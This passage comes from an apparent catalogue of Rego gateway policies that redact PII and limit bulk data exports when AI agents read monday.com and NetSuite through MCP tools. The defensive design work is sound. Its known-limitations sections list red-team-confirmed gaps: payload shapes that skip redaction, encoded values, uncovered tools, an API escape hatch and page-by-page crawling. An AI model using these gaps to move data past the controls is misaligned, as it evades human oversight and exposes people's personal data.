All card-shaped substrings of t that pass the Luhn check. pan_candidates(t) := {c | some c in regex.find_n(pan_pattern, t, -1) luhn_valid(digits_only(c)) } # ----------------------------------------------------------------------------- # ISO 13616 mod-97 check — validates IBAN-shaped candidates so ID-like # alphanumeric tokens that merely look like IBANs are left alone. # ----------------------------------------------------------------------------- # Numeric value of an IBAN character: digits map to themselves, letters to # 10..35 (A=10 … Z=35). iban_char_value(c) := to_number(c) if { regex.match(`^[0-9]$`, c) } iban_char_value(c) := indexof("abcdefghijklmnopqrstuvwxyz", lower(c)) + 10 if { regex.match(`^[A-Za-z]$`, c) } # 10^k mod 97 for k = 0..67, precomputed because OPA's modulo loses precision # above float64 magnitude, so the expanded IBAN digit string cannot be taken # mod 97 as one big number. 68 entries covers the longest possible expansion # (34 IBAN chars, all letters, at 2 digits each). pow10_mod97 := [ 1, 10, 3, 30, 9, 90, 27, 76, 81, 34, 49, 5, 50, 15, 53, 45, 62, 38, 89, 17, 73, 51, 25, 56, 75, 71, 31, 19, 93, 57, 85, 74, 61, 28, 86, 84, 64, 58, 95, 77, 91, 37, 79, 14, 43, 42, 32, 29, 96, 87, 94, 67, 88, 7, 70, 21, 16, 63, 48, 92, 47, 82, 44, 52, 35, 59, 8, 80, ] iban_valid(s) if { # Move the country code + check digits to the end and map every char to # its numeric value per ISO 13616. rearranged := concat("", [substring(s, 4, count(s) - 4), substring(s, 0, 4)]) numeric := concat("", [d | some c in split(rearranged, "") d := sprintf("%d", [iban_char_value(c)]) ]) # Take the expanded number mod 97 digit-by-digit via the precomputed power # table — every intermediate value stays small and exact. A genuine IBAN # yields exactly 1. digit_chars := split(numeric, "") n := count(digit_chars) total := sum([v | some i, c in digit_chars v := to_number(c) * pow10_mod97[n - 1 - i] ]) total % 97 == 1 } # All IBAN-shaped substrings of t that pass the mod-97 check. iban_candidates(t) := {c | some c in regex.find_n(iban_pattern, t, -1) iban_valid(c) } # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_pans(t) := out if { cands := pan_candidates(t) count(cands) > 0 # Candidates contain only digits, spaces, and hyphens, so joining them into # an alternation of literals is regex-safe. literal := concat("|", sort([c | some c in cands])) out := regex.replace(t, literal, "[REDACTED-PAN]") } redact_pans(t) := t if { count(pan_candidates(t)) == 0 } redact_ibans(t) := out if { cands := iban_candidates(t) count(cands) > 0 # Candidates are purely alphanumeric, so the alternation is regex-safe. literal := concat("|", sort([c | some c in cands])) out := regex.replace(t, literal, "[REDACTED-IBAN]") } redact_ibans(t) := t if { count(iban_candidates(t)) == 0 } redact_phones(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") # Order matters: SSNs first (so a later pattern can never half-eat one), then # Luhn-checked PANs (digit groups), then checksum-valid IBANs (alphanumeric, # disjoint from the digit patterns), then separator-formatted phones. redact_block(b) := redact_phones(redact_ibans(redact_pans(redact_ssn(b)))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_read_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### monday: Redact PII in Board & Doc Reads URL: https://www.intentbasedpolicy.com/policies/monday/redact-board-pii-egress App(s): monday | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: monday.egress.redact_board_pii | Published: 2026-07-12 | Tags: monday, redact-pii, pii, dlp, redaction, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/monday/redact-board-pii-egress/policy.md # monday / redact-board-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-first — redacts PII on read responses; denies only the account-directory tool for non-admins) **Package:** `monday.egress.redact_board_pii` ## What it does Two egress controls in one policy, both scoped to the monday MCP read path: 1. **PII redaction (transform).** On the responses of monday's generic board, doc, and update read tools, it rewrites direct identifiers to fixed redaction tokens before the payload reaches the model: | Class | Detection | Token | |---|---|---| | US SSN | hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Email address | standard `local@domain.tld` shape | `[REDACTED-EMAIL]` | | US phone number | separator-formatted (`206-555-0100`, `(206) 555-0100`, `(206)555-0100`, `+1 206.555.0100`) | `[REDACTED-PHONE]` | | National ID | UK-NINO-shaped `AB123456C` / `AB 12 34 56 C` (representative — extend per locale) | `[REDACTED-NATIONAL-ID]` | Each class is matched independently — a lone email, phone, SSN, or national ID is redacted on its own. Matches are replaced in place, so structural fields (column IDs, item IDs, board/group structure, non-PII column values) stay intact and the agent can still reason over the rest of the board. The redaction is a transform: it never denies these reads, and responses with no matches (and all out-of-scope tools) pass through byte-identical. 2. **Account-directory deny.** `list_users_and_teams` returns account-wide names and emails — a harvesting surface for a prompt-injected agent trying to exfiltrate the org's directory. Its response is **denied** for callers outside the placeholder `monday-admins` group. Admins receive the directory unchanged; everyone else is blocked with an actionable reason. The grant fails closed: a caller with a missing/oddly-shaped `groups` claim is treated as non-admin and denied. monday boards are schema-less business databases: HR/recruiting boards (candidate PII), CRM/deal boards, and healthcare project boards all live in the same account, and email/phone column values are stored as **plain strings inside the `columnValues` JSON**, while workdoc and update bodies are free text. So regulated data rides back in a *generic* read regardless of which board produced it — sensitivity is a property of the board/workspace, not the tool. This makes egress redaction the primary minimum-necessary control on the monday read path. It is **defense-in-depth behind the ingress board fence** (`fence-sensitive-boards`): even a reader authorized for a board should not stream raw identifiers into model context. ### Redaction exemption group Callers whose IdP `groups` claim contains `pii-full` (a placeholder name — see Known limitations) receive **unredacted** read responses. The check reads claims via `object.get(input.subject, "claims", {})` then `object.get(..., "groups", [])`: a missing subject, missing claims, missing `groups`, or a `groups` claim that is not a clean array/string of names means the caller is *not* exempt and redaction applies — the grant fails closed. The failure mode is over-redaction, never disclosure. ## Compliance alignment Instantiates egress PII redaction (family PF-02) for monday and supports alignment with: - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in board/doc/update content as it leaves the gateway toward the agent; **C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure, including denying the account directory to callers who do not need it. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: only placeholder `pii-full` members see raw identifiers and only `monday-admins` may read the account directory; everyone else gets working board content with identifiers masked. **§164.514(a)–(b)** — supports de-identification by stripping Safe-Harbor identifier classes (SSN, email, phone) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR content in boards, docs, and updates; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII already lives in monday — there is nothing to block at ingress on a generic board read, and denying reads outright would make the agent useless for everyday work-management tasks. The leak happens when board/doc/update text is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. The `list_users_and_teams` deny is also placed on egress so it composes into this single monday egress policy; the response carrying names/emails never reaches the model. This complements — not replaces — the ingress board fence. ## Tool name matching Applies on the output path — scoped when either `input.mode == "output"` or `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope. monday's official (hosted + local npm) server exposes tools **unprefixed** (`get_board_items_page`, not `monday_get_board_items_page`); behind a gateway they appear as ``. Matching is **separator-anchored**: a suffix matches when the tool name equals it, or ends with `-` or `_`. This covers the two realistic gateway prefix separators plus a prefix-less emission, and — unlike a bare `endswith` — it does **not** over-match on words that merely end in a scope suffix (e.g. `search` will not match a tool ending in `research`/`elasticsearch`). **Redaction scope** (official monday read tools whose responses carry board-item, doc, or update body content): - `get_board_items_page`, `get_full_board_data` — board item + column values (email/phone live here as plain strings inside `columnValues`) - `get_updates` — item update (comment) bodies - `read_docs` — full workdoc content - `search` — account-wide discovery snippets - `fetch_file_content` — attachment content pulled into context Community `sakce/mcp-server-monday` equivalents (snake_case, current FastMCP code) that return the same body content are also matched: `get_items_by_id`, `list_items_in_groups`, `get_item_updates`. **Directory-deny scope:** `list_users_and_teams` (official) — matched the same separator-anchored way. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend `pii_read_suffixes` for any other content-returning monday tools your deployment exposes (see Known limitations). ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each block. It handles the two content-block shapes a gateway realistically emits: - **Plain-string blocks** (`"text": ["...board JSON or doc body..."]`) are redacted directly. Because monday board reads serialize `columnValues` (and its plain-string email/phone values) into the response text, the regexes run over that serialized JSON and catch the values without needing to parse it. - **MCP-standard structured text blocks** (`{"type":"text","text":"..."}`) have their inner `text` string redacted while every other key is preserved. Any other block (an object with no string `text` field, or a non-string/non-object value) passes through unmodified — the policy makes no claim over arbitrary structured data whose PII sits under other keys. When at least one block changes, the policy emits `transform.transformed_payload` with the rewritten `text` array (all other payload keys, including `name`, preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. Note `text` must be an **array**: a gateway that returns a bare scalar string under `payload.text` (off the documented shape) is not rewritten — see Known limitations. ## Argument shape This is an egress policy; it inspects `input.payload.text` (response content), not request args. Identity is read from `input.subject.claims.groups` via `object.get` chains. No request-argument assumptions are made. ## Examples ### Redacted (in-scope board read, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "monday-get_board_items_page", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["recruiting"] } }, "payload": { "name": "monday-get_board_items_page", "text": ["{\"email_col\":\"jane@acme.com\",\"phone_col\":\"206-555-0100\",\"ssn\":\"123-45-6789\"}"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["{\"email_col\":\"[REDACTED-EMAIL]\",\"phone_col\":\"[REDACTED-PHONE]\",\"ssn\":\"[REDACTED-SSN]\"}"]`. ### Denied (account directory, non-admin caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "monday-list_users_and_teams", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["recruiting"] } }, "payload": { "name": "monday-list_users_and_teams", "text": ["...names + emails..."] } } } ``` `allow = false`, `reason = "monday list_users_and_teams returns account-wide names and emails and is restricted to the placeholder 'monday-admins' group. Ask your workspace admin to add you to that group, or use a board-scoped read instead. Replace 'monday-admins' with your IdP's admin group name at import time."` ### Passed through (exempt caller / admin) A caller whose `groups` includes `pii-full` receives read content unredacted (`allow = true`, no `transform`); a caller in `monday-admins` receives the directory unchanged (`allow = true`, no `transform`). ## Composition Combines a transform (`default allow := true`) with a single narrow deny; it composes cleanly on the monday egress pipeline. Recommended companions in `apps/monday`: - The ingress **`fence-sensitive-boards`** board allow/deny list, so the agent only reads boards it is entitled to. This egress redactor is defense-in-depth behind that fence. - **`default-deny-unknown-tools`** and **`freeze-standing-automation`** for the ingress escape-hatch / persistence surfaces (`all_monday_api`, `create_automation`, etc.) that would otherwise bypass per-tool governance. ## Known limitations - **Pattern-based detection is best-effort and conservative by design.** SSNs are matched in hyphenated `XXX-XX-XXXX` form only (bare 9-digit runs collide with monday numeric item/board IDs); phone numbers only in separator-formatted US shapes (a contiguous digit run like an item ID, or a dotted version string, does not match); the national-ID pattern matches a UK-NINO shape only. `\b`-anchored identifiers that abut a word character — a run-on like `id123-45-6789`, a Markdown-italic `_123-45-6789_`, a trailing `206-555-0100x` — are **not** matched (loosening the anchor would re-introduce item-ID false positives). Non-ASCII digit forms escape (RE2 `\d` is ASCII-only). Obfuscated, spelled-out, split-across-blocks, or base64-encoded values are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **National-ID coverage is a locale placeholder.** The shipped pattern is a UK National Insurance number (`AB123456C` / `AB 12 34 56 C`). It will **not** catch Aadhaar, US ITIN, Codice Fiscale, SIN, or other locale-specific IDs. Extend `national_id_pattern` (and add tokens/patterns) for your deployment's formats. - **Block coverage and the `text`-array assumption.** Redaction applies to plain-string entries of `input.payload.text` (including serialized-JSON strings) **and** to MCP-standard structured text blocks (`{"type":"text","text":"..."}`). Blocks that are objects with **no string `text` field** (a custom `{"field":"ssn","value":"…"}` shape, an embedded-resource block carrying text under `resource.text`, an image/audio block, or a nested array of sub-blocks) pass through unmodified and stream any embedded identifiers verbatim (confirmed by red-team). If your gateway emits board/doc bodies under those shapes (the documented contract is a flat array of strings — confirm with the dump-input technique), extend `block_text`/`redact_block`, or fence those tools at ingress. Redaction is also confined to the block's own `text` string: a structured block that carries a string `text` field **and** additional identifiers under a *sibling* key (e.g. `{"type":"text","text":"…","note":"jane@acme.com"}`) has only `text` rewritten — the sibling value passes through verbatim (confirmed by red-team). MCP text blocks normally carry only `type`/`text`/`annotations`, so this is an off-contract shape; if your gateway packs body content into sibling keys, redact them at the source tool or fence it at ingress. Separately, an off-spec `payload.text` that is **not an array** — a bare scalar string, or an object/map such as `{"0":"…SSN…"}` — fails the `is_array` transform guard and is **not** rewritten (a fail-open residual on a shape off the documented flat-array-of-strings contract; both were confirmed by red-team). - **Redaction covers only the listed read tools.** Other content-returning monday reads (`get_board_info`, `board_insights`, `get_assets`, monday-dev sprint readers, the `all_monday_api` / `all_api_read` GraphQL escape hatch) stream body content verbatim and are **not** redacted here — the escape hatch in particular must be denied at ingress (`default-deny-unknown-tools`), or every egress control is bypassable via one `query` string. Add tools your deployment exposes to `pii_read_suffixes`, or fence them at ingress. - **The `list_users_and_teams` deny is egress, so the upstream call still executes** — only the response is blocked before it reaches the model. Names and emails are not returned to the agent, but the read did hit monday. To prevent the call entirely, add an ingress deny for the same tool. - **Group names are placeholders — replace `pii-full` and `monday-admins` with your IdP's group names at import time.** Both checks accept a `groups` claim shaped as an array of strings (a single bare string is also handled); any other shape fails closed (redaction applies / directory denied). A missing subject/claims/`groups`, an object/map (e.g. a namespaced `{"department":"pii-full"}` claim — the `is_array` guard stops its *values* being read as group names), and nested/non-string array elements are all treated as *not exempt* / *not admin*. These placeholders are illustrative and are **not** the ContextForge-internal `is_admin`/`teams`/`user` claims (which are stripped before reaching a policy and must never be used for gating). - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package monday.egress.redact_board_pii # Transform-first egress policy with one narrow deny. default allow := true: the # policy redacts PII in monday board/doc/update read responses (a transform) and # additionally denies the account-directory tool (list_users_and_teams) to # non-admin callers (a deny). Everything else passes through unchanged. The deny # uses the documented `allow := false if { ... }` form over the true default. default allow := true # ----------------------------------------------------------------------------- # Egress scope. Match the post-invoke/output path on either mode or action: if we # keyed on input.mode alone and a gateway build left it unset, the scope checks # would silently fail and redaction would no-op (fail open, leaking content). # Ingress (tool_pre_invoke / mode "input") satisfies neither branch. # ----------------------------------------------------------------------------- is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), tool_metadata.name # (legacy), and payload.name (tool-hook canonical). Collect all three and match if # ANY carries a scope suffix — matching only a subset would let a gateway that # populates a different surface slip content past the scanner. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) # Separator-anchored suffix match: the tool name equals the suffix, or ends with # `-` or `_` (the two realistic gateway prefix separators). Unlike a # bare endswith, this never over-matches a word that merely ends in the suffix # (e.g. `search` won't match `...research`). name_has_suffix(n, s) if { n == s } name_has_suffix(n, s) if { endswith(n, concat("", ["-", s])) } name_has_suffix(n, s) if { endswith(n, concat("", ["_", s])) } # ----------------------------------------------------------------------------- # Redaction scope: monday read tools whose responses carry board-item, doc, or # update body content. Official (hosted + local npm) names are unprefixed; the # community sakce equivalents (snake_case) surface the same content. # ----------------------------------------------------------------------------- pii_read_suffixes := { # Official monday read tools "get_board_items_page", "get_full_board_data", "get_updates", "read_docs", "search", "fetch_file_content", # Community sakce/mcp-server-monday equivalents (same body content) "get_items_by_id", "list_items_in_groups", "get_item_updates", } is_pii_read_tool if { is_egress some suffix in pii_read_suffixes some n in candidate_names name_has_suffix(n, suffix) } # ----------------------------------------------------------------------------- # Directory-deny scope: the account directory tool returns account-wide names and # emails — a harvesting surface for prompt-injected exfil. # ----------------------------------------------------------------------------- directory_suffixes := {"list_users_and_teams"} is_directory_tool if { is_egress some suffix in directory_suffixes some n in candidate_names name_has_suffix(n, suffix) } # ----------------------------------------------------------------------------- # Identity. Placeholder IdP group names — replace at import time. Claims are read # via object.get chains so a missing subject/claims/groups is never a grant: both # the redaction exemption and the admin grant fail closed. # ----------------------------------------------------------------------------- caller_claims := object.get(object.get(input, "subject", {}), "claims", {}) caller_groups := object.get(caller_claims, "groups", []) # Members receive UNREDACTED read responses. exempt_groups := {"pii-full"} # Members may read the account directory. admin_groups := {"monday-admins"} # group_matches(set): true iff caller_groups (array of strings, or a bare string) # contains a name in `set`. The is_array guard is load-bearing: `some g in obj` # iterates an object's VALUES, so a namespaced claim like {"department":"pii-full"} # would else wrongly match. is_string(g) blocks nested/non-string elements. Any # other shape fails closed. group_matches(want) if { is_array(caller_groups) some g in caller_groups is_string(g) lower(g) in want } group_matches(want) if { is_string(caller_groups) lower(caller_groups) in want } is_exempt if { group_matches(exempt_groups) } is_admin if { group_matches(admin_groups) } # ----------------------------------------------------------------------------- # Deny: block the account-directory response for non-admin callers. # ----------------------------------------------------------------------------- allow := false if { is_directory_tool not is_admin } reasons contains "monday list_users_and_teams returns account-wide names and emails and is restricted to the placeholder 'monday-admins' group. Ask your workspace admin to add you to that group, or use a board-scoped read instead. Replace 'monday-admins' with your IdP's admin group name at import time." if { is_directory_tool not is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # monday numeric IDs and version strings. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # monday numeric item/board IDs, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Standard email address shape: local part, @, domain, 2+ letter TLD. Word-boundary # anchored so it never fires inside longer alphanumeric runs. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (206-555-0100, (206) 555-0100, # (206)555-0100, +1 206.555.0100). When the area code is parenthesized the # separator before the prefix is optional (a bare `(206)555-0100` is a mainstream # rendering); when it is a bare 3-digit run a separator IS required, so contiguous # digit runs (item IDs) and dotted version strings are not matched. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)[-. ]?|\b\d{3}[-. ])\d{3}[-. ]\d{4}\b` # National ID — representative UK National Insurance number: two prefix letters, # six digits, one suffix letter, compact (AB123456C) or single-space grouped # (AB 12 34 56 C). Conservative placeholder; extend for the deployment's # locale-specific national-ID formats (Aadhaar, ITIN, SIN, Codice Fiscale, ...). national_id_pattern := `\b[A-Za-z]{2} ?\d{2} ?\d{2} ?\d{2} ?[A-Za-z]\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. SSN and phone run # before the national-ID pass; the classes are digit-shape-disjoint, so order is # not load-bearing, but running the separator-delimited classes first avoids any # accidental capture by the letter-prefixed national-ID pattern. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") redact_national_id(t) := regex.replace(t, national_id_pattern, "[REDACTED-NATIONAL-ID]") redact_text(t) := redact_national_id(redact_phone(redact_email(redact_ssn(t)))) # Helper: the inner `text` string of an MCP structured content block # ({"type":"text","text":"..."}); undefined for anything else. block_text(b) := t if { is_object(b) t := object.get(b, "text", null) is_string(t) } # Plain-string content blocks: redact in place. redact_block(b) := redact_text(b) if { is_string(b) } # MCP-standard structured text content blocks {"type":"text","text":"..."}: redact # the inner `text` string and preserve every other key. Without this branch, # content delivered as content-block OBJECTS (the canonical MCP wire shape) would # slip past a string-only redactor untouched. redact_block(b) := object.union(b, {"text": redact_text(bt)}) if { not is_string(b) bt := block_text(b) } # Any other block — an object with no string `text` field, or a non-string / # non-object value — passes through unmodified. redact_block(b) := b if { not is_string(b) not block_text(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in redaction scope, the caller is not exempt, the # payload text is an array, and at least one block actually changed. Otherwise the # rule is undefined and the aggregator skips this policy, returning the response # byte-identical. Directory-tool calls are not in pii_read_suffixes, so they never # produce a transform (admins pass through; non-admins are denied above). # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_read_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### NetSuite Cap SuiteQL Bulk Export URL: https://www.intentbasedpolicy.com/policies/netsuite/cap-bulk-export App(s): netsuite | Direction: ingress | Bundles: soc2, pci-dss, gdpr-ccpa | Package: netsuite.ingress.cap_bulk_export | Published: 2026-07-12 | Tags: netsuite, cap-bulk-export, suiteql, data-minimisation, ingress, soc2, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/netsuite/cap-bulk-export/policy.md # netsuite / cap-bulk-export **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `netsuite.ingress.cap_bulk_export` ## What it does Instantiates the PF-08 `cap-bulk-export` family as a transform-only ingress policy on `ns_runCustomSuiteQL` — the NetSuite MCP tool that runs arbitrary read-only SQL over the entire ERP. It reads the request's `pageSize` argument and, when that value is **missing or exceeds a configured ceiling** (default **100**), rewrites `pageSize` down to the ceiling before the call reaches the NetSuite AI Connector. All other arguments — `sqlQuery` and `description` — pass through unchanged, so the query itself is untouched; only the number of rows returned per call is bounded. `ns_runCustomSuiteQL` is the single biggest bulk-exfiltration surface on the NetSuite server: one query can pull full customer/vendor master data (addresses, bank/payment details), employee/HR data, or complete GL/financial results. Bounding `pageSize` means a single agent call cannot mass-export a whole table in one shot; it must paginate, which is slower, auditable per page, and rate-limited. The clamp fires in four situations: - **Above the ceiling** — a numeric `pageSize` greater than 100 is rewritten to 100. - **Missing** — when `pageSize` is absent, `object.get(..., "pageSize", 0)` yields `0`; the policy injects `pageSize: 100`. This matters because the SuiteQL endpoint applies its own server-side default page size when the argument is omitted, which can substantially exceed the ceiling. - **Non-positive** — an explicit `pageSize` of `0` or a negative number (which some SQL layers treat as "unbounded" or fall back to a large default) is normalised to 100. - **Non-numeric** — a `pageSize` that is present but not a number (e.g. the string `"500"`, or `null`) is replaced with 100 as a fail-safe, rather than letting the server parse it. A numeric `pageSize` already in the range **1–100** passes through untouched. The policy never denies (`default allow := true`), so read workflows keep functioning — just at a bounded page size. This keeps it single-purpose: it only transforms, and leaves *blocking* unbounded queries to a companion deny policy (see Composition). The **100-row ceiling is a per-tenant constant.** Edit `page_size_ceiling` in `policy.md` to match your tenant's data-minimisation standard before import. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by bounding how much ERP data a single agent SuiteQL call can move out of NetSuite. - **GDPR Art. 5(1)(c)** — data minimisation on the agent channel: the page size is minimised *before* the query executes, so the agent retrieves pages sized to the task rather than the maximum the API permits; **Art. 5(1)(d)** — bounding per-call volume reduces the blast radius of a mass read against personal-data tables. - **CCPA 11 CCR §7002** — supports proportionality: collection and use of personal information stays proportionate to the disclosed purpose rather than defaulting to bulk retrieval. - **PCI DSS 7.2.6** — supports restricting programmatic query access to repositories of stored account data: clamping `pageSize` bounds how much a single agent SuiteQL query can pull per call, so a programmatic bulk read cannot sweep card-adjacent tables in one shot (partial — this caps volume on the MCP path; role-based CHD-column restriction is a companion concern). **PCI DSS 3.4.2** — supports preventing the copy/relocation of stored account data via bulk export by throttling per-call row volume out of NetSuite. ## Why ingress The over-broad request itself is the problem. Once NetSuite has returned a large page, an egress policy can only mask fields — the volume has already been fetched, logged in the integration record's Execution Log, and counted against API limits. Rewriting `pageSize` at ingress enforces minimisation before the query executes, which is the only place the row *count* can be controlled. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `netsuite-mcp-ns_runCustomSuiteQL`), so matching is by case-insensitive **suffix** to stay portable across deployments. Covered: - `ns_runCustomSuiteQL` — official NetSuite MCP Standard Tools SuiteApp (verified from Oracle docs), and the `dsvantien/netsuite-mcp-server` community proxy, which exposes identical `ns_*` tool names and argument shapes. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape `ns_runCustomSuiteQL` takes `{ sqlQuery: string (required), description?: string, pageSize?: number }` (verified from Oracle docs). Only `pageSize` is rewritten; `sqlQuery` and `description` are preserved exactly via `object.union`. **Argument-envelope key.** The DTwo PARC input schema surfaces tool arguments under `input.payload.args`, and this policy reads that key. The NetSuite landscape note refers to the same object as `input.payload.arguments`; to be safe across both conventions the policy resolves the argument object from `args` first and falls back to `arguments`. Confirm which key your gateway actually sends with the dump-input technique — if it differs from both, the clamp will not fire (fail-open). See Known limitations. A `null` or non-object envelope (e.g. `"args": null`) is coerced to `{}` so it still clamps to the ceiling rather than failing open. ## Examples ### Passed through unchanged ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "type": "tool" }, "payload": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "args": { "sqlQuery": "SELECT id, companyName FROM customer WHERE id = 42", "pageSize": 50 } } } } ``` `allow = true`, no transform — the requested page size is already within the ceiling. ### Transformed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "type": "tool" }, "payload": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "args": { "sqlQuery": "SELECT * FROM customer", "description": "pull all customers", "pageSize": 5000 } } } } ``` `allow = true`, transform rewrites the args to `{ "sqlQuery": "SELECT * FROM customer", "description": "pull all customers", "pageSize": 100 }`. A call with no `pageSize` at all gets `pageSize: 100` injected the same way. ## Composition This policy bounds per-call *volume* by clamping; it deliberately does **not** block. For environments that prefer a hard stop over silent clamping, pair or replace it with: - **A companion SuiteQL guard (PF-07 `guard-warehouse-sql` family for NetSuite):** a `default allow := false` ingress policy that *denies* `ns_runCustomSuiteQL` queries whose `sqlQuery` lacks a `WHERE` clause or a row-limit construct (`ROWNUM`, `FETCH FIRST … ROWS ONLY`), so an unbounded full-table scan is rejected outright rather than trimmed to 100 rows. - **An egress financial-PII redaction policy (PF-02 family)** on `ns_runCustomSuiteQL` / `ns_getRecord` responses, so SSN/TIN, IBAN, and bank-account-shaped strings in whatever rows are returned are masked before they reach the agent context. - **A SuiteQL HR/payroll scope guard** that denies queries referencing `employee` / `payroll` / `compensation` tables outside an HR group. Keep these as independent single-purpose policies so each is testable on its own. ## Known limitations - **Per-request caps do not stop patient pagination.** An agent that walks the result cursor page by page can still enumerate a whole table — it just takes more calls at `pageSize: 100`. Detecting cursor-driven crawls requires cross-request state the policy engine does not have; use the gateway audit log / alerting and the companion deny policy to catch unbounded queries. - **Only `pageSize` is clamped, not the query.** A `SELECT *` with no `WHERE` still runs — it just returns 100 rows per page instead of the server default. The row *content* and the query *breadth* are out of scope here by design; that is the companion deny policy's job (see Composition). - **Argument-envelope key is convention-dependent.** The policy reads `input.payload.args` (PARC schema) and falls back to `input.payload.arguments` (the NetSuite landscape-note convention). If your gateway surfaces SuiteQL arguments under some other key, the clamp fails open — verify with dump-input and adjust `raw_args` accordingly. - **Other SuiteQL implementations are not covered.** `glints-dev/mcp-netsuite` exposes `netsuite_run_suiteql` with a different argument shape (`Limit`, not `pageSize`), and the ChatFin `get-*` tools use a `Limit` parameter — neither matches the `ns_runCustomSuiteQL` suffix or the `pageSize` key, so this policy does not clamp them. Author a per-server variant keyed to those names/keys if your gateway fronts them. - **Sibling bulk-read routes reach the same data uncapped.** This policy caps only `ns_runCustomSuiteQL`. The other standard NetSuite bulk-read surfaces — `ns_runSavedSearch` and `ns_runReport`, which return the same customer/vendor/employee/GL data through pre-built views — do **not** match the `ns_runcustomsuiteql` suffix, so a large read through them passes through unclamped. Their page/limit argument names are unpublished (the landscape note marks them **unverified**), so they cannot be capped by the same `pageSize` key even if matched. Likewise, an account-specific custom SuiteScript tool on the `/services/mcp/v1/all` endpoint can run SuiteQL under an arbitrary developer-chosen name (no forced `ns_` prefix) and will not match the suffix. Pair this policy with a saved-search/report throttle keyed to those tools, and — on 